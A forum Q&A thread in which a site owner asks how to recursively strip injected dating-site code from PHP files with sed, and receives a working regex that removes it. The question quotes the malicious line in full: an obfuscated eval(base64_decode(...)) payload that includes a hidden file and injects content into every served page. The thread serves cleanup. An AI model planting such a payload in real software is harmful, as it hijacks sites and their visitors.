Delete all injected code recursively

Recently all of the php files on my server got injected with some dating site code and I'm trying to get rid of it all at once. I've tried using sed but I don't know how to escape it correctly because I don't really know what I'm doing. Could you guys help me with the syntax?

find ./* -type f -exec sed -i 's/<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvdmFyL3d3dy9odG1sL21vb2RsZWRhdGEvMzYvbW9kZGF0YS9mb3J1bS8xMTUvMTI0OC9tZGxfdXRmLnBocCcpKXtpbmNsdWRlX29uY2UoJy92YXIvd3d3L2h0bWwvbW9vZGxlZGF0YS8zNi9tb2RkYXRhL2ZvcnVtLzExNS8xMjQ4L21kbF91dGYucGhwJyk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmIWZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7aWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ZnVuY3Rpb24gZ3pkZWNvZGUoJGQpeyRmPW9yZChzdWJzdHIoJGQsMywxKSk7JGg9MTA7JGU9MDtpZigkZiY0KXskZT11bnBhY2soJ3YnLHN1YnN0cigkZCwxMCwyKSk7JGU9JGVbMV07JGgrPTIrJGU7fWlmKCRmJjgpeyRoPXN0cnBvcygkZCxjaHIoMCksJGgpKzE7fWlmKCRmJjE2KXskaD1zdHJwb3MoJGQsY2hyKDApLCRoKSsxO31pZigkZiYyKXskaCs9Mjt9JHU9Z3ppbmZsYXRlKHN1YnN0cigkZCwkaCkpO2lmKCR1PT09RkFMU0UpeyR1PSRkO31yZXR1cm4gJHU7fX1mdW5jdGlvbiBkZ29iaCgkYil7SGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiBub25lJyk7JGM9Z3pkZWNvZGUoJGIpO2lmKHByZWdfbWF0Y2goJy9cPGJvZHkvc2knLCRjKSl7cmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPGJvZHlbXlw+XSpcPikvc2knLCckMScuZ21sKCksJGMpO31lbHNle3JldHVybiBnbWwoKS4kYzt9fW9iX3N0YXJ0KCdkZ29iaCcpO319fQ==')); ?>//g' {} \;

I assume you're using GNU sed ( I see -i option ) ... see if this helps:

find . -type f -exec sed -ri 's!<\?php /\*\*/.*\)\); \?>!!g' {} \;

Worked perfectly, thank you!